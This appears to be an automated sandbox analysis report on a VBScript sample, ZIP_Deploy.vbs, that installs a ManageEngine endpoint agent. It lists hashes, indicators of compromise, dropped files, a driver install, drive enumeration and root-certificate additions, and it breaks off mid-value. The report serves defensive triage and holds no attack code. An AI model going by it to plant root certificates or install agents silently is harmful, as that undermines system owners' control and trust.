Analysis
- max time kernel
149s - max time network
153s - platform
windows10-2004_x64 - resource
win10v2004-20260513-en - resource tags
arch:x64arch:x86image:win10v2004-20260513-enlocale:en-usos:windows10-2004-x64systemwindows - submitted
03/07/2026, 06:19
Static task
static1
Behavioral task
behavioral1
Sample
ZIP_Deploy.vbs
Resource
win10v2004-20260513-en
windows10-2004-x64
25 signatures
150 seconds
Behavioral task
behavioral2
Sample
ZIP_Deploy.vbs
Resource
win11ltsc2024-20260629-en
windows11-ltsc_2024-x64
27 signatures
150 seconds
General
- Target ZIP_Deploy.vbs
- Size 15KB
- Sample260703-g3e5kact21
- SHA256 ef6efaa86cc34c9d4d390575c42179b5f680daa0945ac850d62fa8fdbbeaa97c
- MD5 07260334f87ea73da4bc6bf3e7703e78
- SHA1 9e8069045db096604dc35cf551ae8b8683f75377
- SHA512 7c3ab295a3fee3e199a0da29efafe6594cfb4d92fc1986c10303588b665cf20cdac3c8619e874f393b6aa2d592da3c168dab80c6cadb87079b4bb95a09da9ba7
- SSDEEP 192:l7e7CN+b/HQW654TJh2089jtFkfuqhW2m23+vPd+QtTVFBBIAfpQq/F///fWEU7F:l7e78II/0MzqhW2MvPxtTVDBIAQXcG
- TLSH T180727F948918C0D0A67A7D6314B371D8F99F4B725F601918BF8F8D0C9F2AB27C0E5B99
- MD5 SHA1 SHA512 SSDEEP TLSH
Score
8/10
Malware Config
Signatures
- Drops file in Drivers directory 3 IoCs
description ioc Process File opened for modification C:\Windows\system32\DRIVERS\SET592D.tmp driversetup64.exe File created C:\Windows\system32\DRIVERS\SET592D.tmp driversetup64.exe File opened for modification C:\Windows\system32\DRIVERS\DCFAFilter.sys driversetup64.exe - Checks computer location settings 2 TTPs 3 IoCs
Looks up country code configured in the registry, likely geofence.
description ioc Process Key value queried \REGISTRY\USER\S-1-5-21-540052884-2969440504-464782435-1000\Control Panel\International\Geo\Nation wscript.exe Key value queried \REGISTRY\USER\S-1-5-21-540052884-2969440504-464782435-1000\Control Panel\International\Geo\Nation WScript.exe Key value queried \REGISTRY\USER\S-1-5-21-540052884-2969440504-464782435-1000\Control Panel\International\Geo\Nation wscript.exe - Executes dropped EXE 47 IoCs
pid Process 1544 shlwapi.dll 1668 dcagentregister.exe 3388 7za.exe 3408 dcagentservice.exe 3516 dcrdservice.exe 2400 dcstatusutil.exe 3832 dcinventory.exe 4204 dcagentservice.exe 5008 dcusbsummary.exe 5044 dcconfig.exe 4512 dcusb64.exe 4516 dcstatusutil.exe 3064 dcondemand.exe 4796 dcswmeter.exe 2216 dcinventory.exe 4264 metroapps.exe 2616 dcconfig.exe 224 dcinventory.exe 3896 DCProcessMonitor.exe 3340 dcondemand.exe 3100 dcagenttrayicon.exe 3468 dcagenttrayicon.exe 3920 dcondemand.exe 2032 7za.exe 412 7za.exe 3968 7za.exe 468 7za.exe 4768 7za.exe 2776 7za.exe 4016 7za.exe 2316 meaap.exe 3648 meaaphelper.exe 2776 7za.exe 3824 dcagenttrayicon.exe 1380 dcagenttrayicon.exe 204 7za.exe 3660 uesAgentService.exe 3436 driversetup64.exe 3412 driversetup64.exe 2220 uesFaUser.exe 4264 uesDevCtrlSummary.exe 2936 devctrlaction64.exe 1804 dcagenttrayicon.exe 4668 dcagenttrayicon.exe 4020 meaaphelper.exe 204 7za.exe 2228 7za.exe - Loads dropped DLL 64 IoCs
pid Process 4112 MsiExec.exe 1668 dcagentregister.exe 1668 dcagentregister.exe 1668 dcagentregister.exe 1668 dcagentregister.exe 3408 dcagentservice.exe 3408 dcagentservice.exe 3516 dcrdservice.exe 3516 dcrdservice.exe 2400 dcstatusutil.exe 2400 dcstatusutil.exe 2400 dcstatusutil.exe 3832 dcinventory.exe 3832 dcinventory.exe 4204 dcagentservice.exe 4204 dcagentservice.exe 3832 dcinventory.exe 5008 dcusbsummary.exe 5008 dcusbsummary.exe 5044 dcconfig.exe 5044 dcconfig.exe 4516 dcstatusutil.exe 4516 dcstatusutil.exe 4796 dcswmeter.exe 4796 dcswmeter.exe 3064 dcondemand.exe 3064 dcondemand.exe 3064 dcondemand.exe 4516 dcstatusutil.exe 2216 dcinventory.exe 2216 dcinventory.exe 3064 dcondemand.exe 3064 dcondemand.exe 2216 dcinventory.exe 5044 dcconfig.exe 4264 metroapps.exe 4264 metroapps.exe 4264 metroapps.exe 4264 metroapps.exe 2616 dcconfig.exe 2616 dcconfig.exe 224 dcinventory.exe 224 dcinventory.exe 224 dcinventory.exe 2616 dcconfig.exe 3100 dcagenttrayicon.exe 3100 dcagenttrayicon.exe 3340 dcondemand.exe 3340 dcondemand.exe 3340 dcondemand.exe 3468 dcagenttrayicon.exe 3468 dcagenttrayicon.exe 3340 dcondemand.exe 3340 dcondemand.exe 3920 dcondemand.exe 3920 dcondemand.exe 3920 dcondemand.exe 3920 dcondemand.exe 3920 dcondemand.exe 2316 meaap.exe 2316 meaap.exe 2316 meaap.exe 2316 meaap.exe 3648 meaaphelper.exe - Badlisted process makes network request 9 IoCs
Network request originating from process or tool commonly abused by malware.
flow pid Process 16 2820 msiexec.exe 20 2820 msiexec.exe 24 2820 msiexec.exe 26 2820 msiexec.exe 28 2820 msiexec.exe 30 2820 msiexec.exe 35 2820 msiexec.exe 43 2820 msiexec.exe 49 2820 msiexec.exe - Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
- Enumerates connected drives 3 TTPs 23 IoCs
Attempts to read the root path of hard drives other than the default C: drive.
description ioc Process File opened (read-only) \??\M: msiexec.exe File opened (read-only) \??\V: msiexec.exe File opened (read-only) \??\Z: msiexec.exe File opened (read-only) \??\L: msiexec.exe File opened (read-only) \??\P: msiexec.exe File opened (read-only) \??\Q: msiexec.exe File opened (read-only) \??\R: msiexec.exe File opened (read-only) \??\S: msiexec.exe File opened (read-only) \??\U: msiexec.exe File opened (read-only) \??\B: msiexec.exe File opened (read-only) \??\E: msiexec.exe File opened (read-only) \??\G: msiexec.exe File opened (read-only) \??\H: msiexec.exe File opened (read-only) \??\J: msiexec.exe File opened (read-only) \??\X: msiexec.exe File opened (read-only) \??\I: msiexec.exe File opened (read-only) \??\T: msiexec.exe File opened (read-only) \??\W: msiexec.exe File opened (read-only) \??\Y: msiexec.exe File opened (read-only) \??\N: msiexec.exe File opened (read-only) \??\O: msiexec.exe File opened (read-only) \??\A: msiexec.exe File opened (read-only) \??\K: msiexec.exe - Drops file in System32 directory 26 IoCs
description ioc Process File created C:\Windows\System32\DriverStore\Temp\{411d44c4-5613-a54a-8614-de31fcf70922}\SET58E0.tmp DrvInst.exe File opened for modification C:\Windows\System32\DriverStore\Temp\{411d44c4-5613-a54a-8614-de31fcf70922}\DCFAFilter.sys DrvInst.exe File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\Local\DesktopCentral_Agent\dcagenttrayicon.log dcagenttrayicon.exe File created C:\Windows\SysWOW64\dclibxml2.dll msiexec.exe File created C:\Windows\System32\DriverStore\FileRepository\keyboard.inf_amd64_5938c699b80ebb8f\keyboard.PNF dcinventory.exe File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\Local\DesktopCentral_Agent\dcagenttrayicon.log dcagenttrayicon.exe File created C:\Windows\System32\DriverStore\Temp\{411d44c4-5613-a54a-8614-de31fcf70922}\SET58D0.tmp DrvInst.exe File opened for modification C:\Windows\System32\DriverStore\Temp\{411d44c4-5613-a54a-8614-de31fcf70922}\DCFAFilter.cat DrvInst.exe File opened for modification C:\Windows\System32\DriverStore\Temp\{411d44c4-5613-a54a-8614-de31fcf70922}\DCFAFilter.inf DrvInst.exe File created C:\Windows\System32\DriverStore\Temp\{411d44c4-5613-a54a-8614-de31fcf70922}\SET58E1.tmp DrvInst.exe File opened for modification C:\Windows\System32\DriverStore\Temp\{411d44c4-5613-a54a-8614-de31fcf70922} DrvInst.exe File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache dcagentregister.exe File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData dcagentregister.exe File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content dcagentregister.exe File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\77EC63BDA74BD0D0E0426DC8F8008506 dcagentregister.exe File created C:\Windows\System32\DriverStore\FileRepository\msmouse.inf_amd64_1793a485b491b199\msmouse.PNF dcinventory.exe File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\Local\DesktopCentral_Agent\dcagenttrayicon.log dcagenttrayicon.exe File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\Local\DesktopCentral_Agent\dcagenttrayicon.log dcagenttrayicon.exe File opened for modification C:\Windows\System32\DriverStore\Temp\{411d44c4-5613-a54a-8614-de31fcf70922}\SET58D0.tmp DrvInst.exe File created C:\Windows\SysWOW64\dcagenthttp.dll msiexec.exe File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft dcagentregister.exe File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506 dcagentregister.exe File created C:\Windows\System32\DriverStore\FileRepository\input.inf_amd64_adeb6424513f60a2\input.PNF dcinventory.exe File created C:\Windows\System32\DriverStore\FileRepository\usbport.inf_amd64_254cd5ae09de6b08\usbport.PNF dcinventory.exe File opened for modification C:\Windows\System32\DriverStore\Temp\{411d44c4-5613-a54a-8614-de31fcf70922}\SET58E0.tmp DrvInst.exe File opened for modification C:\Windows\System32\DriverStore\Temp\{411d44c4-5613-a54a-8614-de31fcf70922}\SET58E1.tmp DrvInst.exe - Drops file in Program Files directory 64 IoCs
description ioc Process File created C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\agent_binaries.7z msiexec.exe File created C:\Program Files (x86)\ManageEngine\UEMS_Agent\images\Apps_active.svg msiexec.exe File created C:\Program Files (x86)\ManageEngine\UEMS_Agent\data\OSDetection.json msiexec.exe File created C:\Program Files (x86)\ManageEngine\UEMS_Agent\images\logo_light.png msiexec.exe File opened for modification C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\ClientAuthHandler64.dll 7za.exe File created C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\dcwol.exe 7za.exe File opened for modification C:\Program Files (x86)\ManageEngine\UEMS_Agent\logs\dcipscope.log dcconfig.exe File opened for modification C:\Program Files (x86)\ManageEngine\UEMS_Agent\logs\Network_Connection.log dcconfig.exe File created C:\Program Files (x86)\ManageEngine\UEMS_Agent\client-data\patch-resources\patchresource.xml.gz dcconfig.exe File created C:\Program Files (x86)\ManageEngine\UEMS_Agent\client-data\vulnerable-resources\ServerDetectionChecks.dll.gz5116.tmp dcconfig.exe File created C:\Program Files (x86)\ManageEngine\UEMS_Agent\images\Btn_install.svg msiexec.exe File created C:\Program Files (x86)\ManageEngine\UEMS_Agent\Certificates\client.p12 dcagentregister.exe File opened for modification C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\ClientSocket.dll 7za.exe File opened for modification C:\Program Files (x86)\ManageEngine\UEMS_Agent\DeviceControl\bin\driver\x64\Win10Debug\DCFAFilter.sys 7za.exe File created C:\Program Files (x86)\ManageEngine\UEMS_Agent\images\messagebox_warning.png msiexec.exe File created C:\Program Files (x86)\ManageEngine\UEMS_Agent\client-data\vulnerable-resources\vulnerable-patch-scan-data.xml.gz dcconfig.exe File opened for modification C:\Program Files (x86)\ManageEngine\UEMS_Agent\DeviceControl\bin\driver\x86\Win7\DCFAFilter.inf 7za.exe File opened for modification C:\Program Files (x86)\ManageEngine\UEMS_Agent\logs\dcdatatransferdown.log dcagenttrayicon.exe File created C:\Program Files (x86)\ManageEngine\UEMS_Agent\data\configuration-settings-dc-winxp.xml msiexec.exe File created C:\Program Files (x86)\ManageEngine\UEMS_Agent\images\minimize_hover.gif msiexec.exe File opened for modification C:\Program Files (x86)\ManageEngine\UEMS_Agent\logs\dcagentupgrade.log dcconfig.exe File opened for modification C:\Program Files (x86)\ManageEngine\UEMS_Agent\logs\dcdatatransferdown.log dcconfig.exe File created C:\Program Files (x86)\ManageEngine\UEMS_Agent\client-data\vulnerable-resources\MisconfigEngine.dll.gz5116.tmp dcconfig.exe File opened for modification C:\Program Files (x86)\ManageEngine\UEMS_Agent\logs\dcpatchresmodifiedaccess.log dcconfig.exe File opened for modification C:\Program Files (x86)\ManageEngine\UEMS_Agent\DeviceControl\device\fa\fileaudittemp.txt uesFaUser.exe File created C:\Program Files (x86)\ManageEngine\UEMS_Agent\data\configuration-settings-dc-win7.xml msiexec.exe File created C:\Program Files (x86)\ManageEngine\UEMS_Agent\images\Btn_install_all.svg msiexec.exe File created C:\Program Files (x86)\ManageEngine\UEMS_Agent\data\wmi-classes.xml msiexec.exe File opened for modification C:\Program Files (x86)\ManageEngine\UEMS_Agent\logs\dcprocessmoniter.log DCProcessMonitor.exe File opened for modification C:\Program Files (x86)\ManageEngine\UEMS_Agent\data\agent-settings.xml dcconfig.exe File opened for modification C:\Program Files (x86)\ManageEngine\UEMS_Agent\DeviceControl\bin\driver\x86\Win7 7za.exe File created C:\Program Files (x86)\ManageEngine\UEMS_Agent\client-data\1\server-certificates\DMRootCA.crt dcagentregister.exe File created C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\Lato-Bold.eot 7za.exe File created C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\selfservicedll.dll 7za.exe File opened for modification C:\Program Files (x86)\ManageEngine\UEMS_Agent\logs\dcprepostaccess.csv dcconfig.exe File opened for modification C:\Program Files (x86)\ManageEngine\UEMS_Agent\logs\usbconfig_agentservice.log dcconfig.exe File created C:\Program Files (x86)\ManageEngine\UEMS_Agent\data\application-agent-store.json meaap.exe File created C:\Program Files (x86)\ManageEngine\UEMS_Agent\data\BitLocker-metadata.json meaap.exe File created C:\Program Files (x86)\ManageEngine\UEMS_Agent\data\EDR-metadata.json4848.tmp meaap.exe File created C:\Program Files (x86)\ManageEngine\UEMS_Agent\images\remind_hover.gif msiexec.exe File created C:\Program Files (x86)\ManageEngine\UEMS_Agent\images\default.gif msiexec.exe File created C:\Program Files (x86)\ManageEngine\UEMS_Agent\images\Find.png msiexec.exe File created C:\Program Files (x86)\ManageEngine\UEMS_Agent\images\history.png msiexec.exe File created C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\dcswmeter.exe 7za.exe File created C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\usbeDevicelist.exe 7za.exe File opened for modification C:\Program Files (x86)\ManageEngine\UEMS_Agent\logs\devicescanlogger.log dcinventory.exe File opened for modification C:\Program Files (x86)\ManageEngine\UEMS_Agent\DeviceControl\bin\driver\x64\Win7\DCFAFilter.inf 7za.exe File created C:\Program Files (x86)\ManageEngine\UEMS_Agent\data\data-dictionary-inv.xml msiexec.exe File created C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\dcinventory.exe 7za.exe File created C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\DetouredDll64.dll 7za.exe File created C:\Program Files (x86)\ManageEngine\UEMS_Agent\Updates\oldinstaller.msi dcagentregister.exe File opened for modification C:\Program Files (x86)\ManageEngine\UEMS_Agent\logs\dcmisconfigaccess.log dcconfig.exe File created C:\Program Files (x86)\ManageEngine\UEMS_Agent\data\OSDetection.json.gz5116.tmp dcconfig.exe File created C:\Program Files (x86)\ManageEngine\UEMS_Agent\client-data\patch-resources\EPMErrorCodes.xml dcconfig.exe File created C:\Program Files (x86)\ManageEngine\UEMS_Agent\client-data\vulnerable-resources\ServerDetectionChecks.dll.gz dcconfig.exe File created C:\Program Files (x86)\ManageEngine\UEMS_Agent\images\Computer.svg msiexec.exe File created C:\Program Files (x86)\ManageEngine\UEMS_Agent\data\configuration-settings-dc.xml msiexec.exe File created C:\Program Files (x86)\ManageEngine\UEMS_Agent\client-data\server-certificates\DMRootCA.crt dcagentregister.exe File created C:\Program Files (x86)\ManageEngine\UEMS_Agent\data\OSDetection.json.gz4088.tmp dcagentregister.exe File created C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\rdsrunasuser.exe.config 7za.exe File opened for modification C:\Program Files (x86)\ManageEngine\UEMS_Agent\logs\devaction_user.log dcconfig.exe File created C:\Program Files (x86)\ManageEngine\UEMS_Agent\data\DeviceControl-metadata.json4848.tmp meaap.exe File created C:\Program Files (x86)\ManageEngine\UEMS_Agent\DeviceControl\bin\PocoCrypto.dll 7za.exe File created C:\Program Files (x86)\ManageEngine\UEMS_Agent\images\config_install_alert.png msiexec.exe - Drops file in Windows directory 21 IoCs
description ioc Process File created C:\Windows\Installer\{6AD2231F-FF48-4D59-AC26-405AFAE23DB7}\DCAgentServerInfo.json dcagentregister.exe File created C:\Windows\Installer\e587d13.msi msiexec.exe File opened for modification C:\Windows\INF\setupapi.dev.log svchost.exe File opened for modification C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.log msiexec.exe File opened for modification C:\Windows\Installer\e587d0c.mst msiexec.exe File created C:\Windows\Installer\inprogressinstallinfo.ipi msiexec.exe File created C:\Windows\Installer\SourceHash{6AD2231F-FF48-4D59-AC26-405AFAE23DB7} msiexec.exe File opened for modification C:\Windows\Installer\MSICC55.tmp msiexec.exe File opened for modification C:\Windows\Tasks\DCAgentUpdater.job dcagentregister.exe File opened for modification C:\Windows\Installer\{6AD2231F-FF48-4D59-AC26-405AFAE23DB7}\UEMSAgent.mst msiexec.exe File created C:\Windows\Tasks\DCAgentUpdater.job dcagentregister.exe File opened for modification C:\Windows\Installer\MSI118C.tmp msiexec.exe File opened for modification C:\Windows\INF\setupapi.dev.log driversetup64.exe File created C:\Windows\Installer\e587d0c.mst msiexec.exe File opened for modification C:\Windows\Installer\MSICA40.tmp msiexec.exe File opened for modification C:\Windows\Installer\ msiexec.exe File opened for modification C:\Windows\Installer\{6AD2231F-FF48-4D59-AC26-405AFAE23DB7}\DCAgentServerInfo.json dcagentregister.exe File created C:\Windows\Installer\{6AD2231F-FF48-4D59-AC26-405AFAE23DB7}\UEMSAgent.mst msiexec.exe File opened for modification C:\Windows\INF\setupapi.dev.log DrvInst.exe File created C:\Windows\Installer\e587d0b.msi msiexec.exe File opened for modification C:\Windows\Installer\e587d0b.msi msiexec.exe - Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- Modifies trusted root certificate store through registry 1 TTPs 7 IoCs
A root certificate was added, modified, or removed in the trusted certificate store registry paths.
description ioc Process Set value (data) \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\C7596BDC16A4FE1F95BB946C9D0BA1BBCD2D8AB2\Blob = 5c000000010000000400000000080000040000000100000010000000c4b6cbf879039ea66514c43e267cb0130f00000001000000200000009748edbae55d0542eeec9786794a616770b05407ab3ec3a98fa8d24f5e179eb2030000000100000014000000c7596bdc16a4fe1f95bb946c9d0ba1bbcd2d8ab2140000000100000014000000fe825d60569285e1b9968ea6a373dec47da042ac190000000100000010000000001304c687ed1154544fdf90394ed78e2000000001000000af030000308203ab30820293a003020102020812f9502d8a5397b1300d06092a864886f70d01010b05003065310b3009060355040613025553310b300906035504080c02434131153013060355040b0c0c4d616e616765456e67696e6531193017060355040a0c105a6f686f20436f72706f726174696f6e3117301506035504030c0e4d616e616765456e67696e6543413020170d3236303532393135343735345a180f32313236303532393135343735345a3065310b3009060355040613025553310b300906035504080c02434131153013060355040b0c0c4d616e616765456e67696e6531193017060355040a0c105a6f686f20436f72706f726174696f6e3117301506035504030c0e4d616e616765456e67696e65434130820122300d06092a864886f70d01010105000382010f003082010a0282010100ca160943c4fcd40754cf20f4adc13d1e3e7f14b54db00e40d4b5a53be8d0bf0e284e9241605516558dad92965ec1a267fabcc5712d6f7e0a0ac8150e74c7e7ee27448602b360debf881937c7706739765e2808f8789a197135c6511b1a500734d575c5fe9141c22dc15284ae33bafa8f92050ae980dcdac1365fe5cf8730d1036576df2b869c4cec206a009fb6c36a7414f12293af6ee180a392a12a573a48d33427cebcc06e4270e0919cd27c8c65b64a14a6693fa754d20ce36d09b9dd9a96e51716f2e809c5f1b4512e464a58e5f1a0ef6b30415c0c971158cb78dd09c5258a5fd6ece646e10f7817b61e7ca1e7c07ef1162e2da0a8d84c953676011bcd4b0203010001a35d305b300c0603551d13040530030101ff301d0603551d0e04160414fe825d60569285e1b9968ea6a373dec47da042ac301f0603551d23041830168014fe825d60569285e1b9968ea6a373dec47da042ac300b0603551d0f0404030201a6300d06092a864886f70d01010b0500038201010077c0ab3d34d345cf12dbdb77c9029b7bb9c0b51c683b900c994fd771d303dabb93cebbb50e8ec44bfee2b54a13ad2630821b09c24d39c9ca59a0b2dc572fc7d719a982d3090eb39ab8b4903a87e4da2e6b3b10ca8cede455b9e4a582e5a38b0620b43d65ba8514cf6bcc3fa4ce81d99140ba38d8e2277a64099da6d85b36a6de3bf2b329bd9ff35f9d7fa86c550286ac65df11a3ce88f7f210ada88cbfaf36cd83fc674b0bb47df0a11d1a7565a1395239d127e0dbbcfb13000e0779061380c332cf0de3583eeb189b8d05a4640a60fb9ace56174b07b1a016f6ed67588312c26c8953cb03707a5fef72aecbf81cd33ba373274ecf82891a3efc525dc3e05dc9 dcagentregister.exe Set value (data) \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\61B8551E065AF0171F7E7E7A92A587DEC2CDE83D\Blob = 190000000100000010000000d0b2e16f8f06ba1684be3232a5e0857803000000010000001400000061b8551e065af0171f7e7e7a92a587dec2cde83d0f000000010000002000000084e459e58395ed9b937a0d783406af1f6713afdca6e28f6290f76fc99c7748e8200000000100000029040000308204253082030da00302010202080eee530a905a0ce4300d06092a864886f70d01010b05003081a1310b3009060355040613025553310b300906035504080c02434131153013060355040b0c0c4d616e616765456e67696e6531193017060355040a0c105a6f686f20436f72706f726174696f6e3117301506035504030c0e4d616e616765456e67696e654341311d301b06035504030c144d616e616765456e67696e6543412d44532d4341311b3019060355040b0c124d616e616765456e67696e652d44532d43413020170d3236303532393135353031375a180f32313236303532393135353031375a3081a1310b3009060355040613025553310b300906035504080c02434131153013060355040b0c0c4d616e616765456e67696e6531193017060355040a0c105a6f686f20436f72706f726174696f6e3117301506035504030c0e4d616e616765456e67696e654341311d301b06035504030c144d616e616765456e67696e6543412d44532d4341311b3019060355040b0c124d616e616765456e67696e652d44532d434130820122300d06092a864886f70d01010105000382010f003082010a0282010100a9af8a2a290d296a22b10815d819e79c2e8307a2f51d27ea5f2d86f79964ea1e99ff0e1434317738d8f881abdb8e6aa5363eab0f4929e84838752b03f492fe01a3ac0b98ec363eac677ba2506c0cd1ab61b7d53fd879c27d79db51dc0fcb1d6261386122e1816054805b20d1f8c34ac5ed9f7182e4d316f35138310e6a969fa6aae357cf076e8ef74250d4cb794a6f669e05509be116a909f133e71b42730d40dfef1495f78c3e0a91c3e85c57e39e19985a5f998e4e58d832c8ad53a7bd1aa842e7a1a08011145a9abf18b019c3f88efa993ee2e23f6f774d3ec96eb611c7e1d3d613b460866b696ac5a5a05ae2989d4e8d11d12d83deda8ca31f4563d83c0d0203010001a35d305b300c0603551d13040530030101ff301d0603551d0e041604148f77f1eb50b072295b7e86d991a548ab1641af58301f0603551d230418301680148f77f1eb50b072295b7e86d991a548ab1641af58300b0603551d0f0404030201a6300d06092a864886f70d01010b05000382010100896900056aaf621b7925202e9ee5a873786d7f0a871001583f028970ee1000319e74f1813eca779e66f35d216162d60cc697909640cdb0f38cb7ad8b1fcbe8eab0a4ea2c34d9f043dcfea8d70f442cc3fd9270ba2e352c56194921f19410786b245e9958fb4b40b4af53bb623231f570d55c0fc7c110e6528c2ee28c3db5dfc258bac98b210f13b7cb18bdcbeec794c3f64ab51e525a27393756951af77976058b700b40eaea7bbdf3d2a5e7a4fd0e6fdcf79ff08ab98e9aca88a06a1c14c73011668bea24c69a5e9332dfc0781e583bc5997a0a67d08dbf4f623bd3f877eaa3c3fc32188c2f55c52344bd4c4000c8dac542c51f0932db380c9b63a420f6da14 dcagentregister.exe Set value (data) \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\C7596BDC16A4FE1F95BB946C9D0BA1BBCD2D8AB2\Blob = 030000000100000014000000c7596bdc16a4fe1f95bb946c9d0ba1bbcd2d8ab22000000001000000af030000308203ab30820293a003020102020812f9502d8a5397b1300d06092a864886f70d01010b05003065310b3009060355040613025553310b300906035504080c02434131153013060355040b0c0c4d616e616765456e67696e6531193017060355040a0c105a6f686f20436f72706f726174696f6e3117301506035504030c0e4d616e616765456e67696e6543413020170d3236303532393135343735345a180f32313236303532393135343735345a3065310b3009060355040613025553310b300906035504080c02434131153013060355040b0c0c4d616e616765456e67696e6531193017060355040a0c105a6f686f20436f72706f726174696f6e3117301506035504030c0e4d616e616765456e67696e65434130820122300d06092a864886f70d01010105000382010f003082010a0282010100ca160943c4fcd40754cf20f4adc13d1e3e7f14b54db00e40d4b5a53be8d0bf0e284e9241605516558dad92965ec1a267fabcc5712d6f7e0a0ac8150e74c7e7ee27448602b360debf881937c7706739765e2808f8789a197135c6511b1a500734d575c5fe9141c22dc15284ae33bafa8f92050ae980dcdac1365fe5cf8730d1036576df2b869c4cec206a009fb6c36a7414f12293af6ee180a392a12a573a48d33427cebcc06e4270e0919cd27c8c65b64a14a6693fa754d20ce36d09b9dd9a96e51716f2e809c5f1b4512e464a58e5f1a0ef6b30415c0c971158cb78dd09c5258a5fd6ece646e10f7817b61e7ca1e7c07ef1162e2da0a8d84c953676011bcd4b0203010001a35d305b300c0603551d13040530030101ff301d0603551d0e04160414fe825d60569285e1b9968ea6a373dec47da042ac301f0603551d23041830168014fe825d60569285e1b9968ea6a373dec47da042ac300b0603551d0f0404030201a6300d06092a864886f70d01010b0500038201010077c0ab3d34d345cf12dbdb77c9029b7bb9c0b51c683b900c994fd771d303dabb93cebbb50e8ec44bfee2b54a13ad2630821b09c24d39c9ca59a0b2dc572fc7d719a982d3090eb39ab8b4903a87e4da2e6b3b10ca8cede455b9e4a582e5a38b0620b43d65ba8514cf6bcc3fa4ce81d99140ba38d8e2277a64099da6d85b36a6de3bf2b329bd9ff35f9d7fa86c550286ac65df11a3ce88f7f210ada88cbfaf36cd83fc674b0bb47df0a11d1a7565a1395239d127e0dbbcfb13000e0779061380c332cf0de3583eeb189b8d05a4640a60fb9ace56174b07b1a016f6ed67588312c26c8953cb03707a5fef72aecbf81cd33ba373274ecf82891a3efc525dc3e05dc9 dcagentregister.exe Set value (data) \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\61B8551E065AF0171F7E7E7A92A587DEC2CDE83D\Blob = 03000000010000001400000061b8551e065af0171f7e7e7a92a587dec2cde83d200000000100000029040000308204253082030da00302010202080eee530a905a0ce4300d06092a864886f70d01010b05003081a1310b3009060355040613025553310b300906035504080c02434131153013060355040b0c0c4d616e616765456e67696e6531193017060355040a0c105a6f686f20436f72706f726174696f6e3117301506035504030c0e4d616e616765456e67696e654341311d301b06035504030c144d616e616765456e67696e6543412d44532d4341311b3019060355040b0c124d616e616765456e67696e652d44532d43413020170d3236303532393135353031375a180f32313236303532393135353031375a3081a1310b3009060355040613025553310b300906035504080c02434131153013060355040b0c0c4d616e616765456e67696e6531193017060355040a0c105a6f686f20436f72706f726174696f6e3117301506035504030c0e4d616e616765456e67696e654341311d301b06035504030c144d616e616765456e67696e6543412d44532d4341311b3019060355040b0c124d616e616765456e67696e652d44532d434130820122300d06092a864886f70d01010105000382010f003082010a0282010100a9af8a2a290d296a22b10815d819e79c2e8307a2f51d27ea5f2d86f79964ea1e99ff0e1434317738d8f881abdb8e6aa5363eab0f4929e84838752b03f492fe01a3ac0b98ec363eac677ba2506c0cd1ab61b7d53fd879c27d79db51dc0fcb1d6261386122e1816054805b20d1f8c34ac5ed9f7182e4d316f35138310e6a969fa6aae357cf076e8ef74250d4cb794a6f669e05509be116a909f133e71b42730d40dfef1495f78c3e0a91c3e85c57e39e19985a5f998e4e58d832c8ad53a7bd1aa842e7a1a08011145a9abf18b019c3f88efa993ee2e23f6f774d3ec96eb611c7e1d3d613b460866b696ac5a5a05ae2989d4e8d11d12d83deda8ca31f4563d83c0d0203010001a35d305b300c0603551d13040530030101ff301d0603551d0e041604148f77f1eb50b072295b7e86d991a548ab1641af58301f0603551d230418301680148f77f1eb50b072295b7e86d991a548ab1641af58300b0603551d0f0404030201a6300d06092a864886f70d01010b05000382010100896900056aaf621b7925202e9ee5a873786d7f0a871001583f028970ee1000319e74f1813eca779e66f35d216162d60cc697909640cdb0f38cb7ad8b1fcbe8eab0a4ea2c34d9f043dcfea8d70f442cc3fd9270ba2e352c56194921f19410786b245e9958fb4b40b4af53bb623231f570d55c0fc7c110e6528c2ee28c3db5dfc258bac98b210f13b7cb18bdcbeec794c3f64ab51e525a27393756951af77976058b700b40eaea7bbdf3d2a5e7a4fd0e6fdcf79ff08ab98e9aca88a06a1c14c73011668bea24c69a5e9332dfc0781e583bc5997a0a67d08dbf4f623bd3f877eaa3c3fc32188c2f55c52344bd4c4000c8dac542c51f0932db380c9b63a420f6da14 dcagentregister.exe Set value (data) \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\C7596BDC16A4FE1F95BB946C9D0BA1BBCD2D8AB2\Blob = 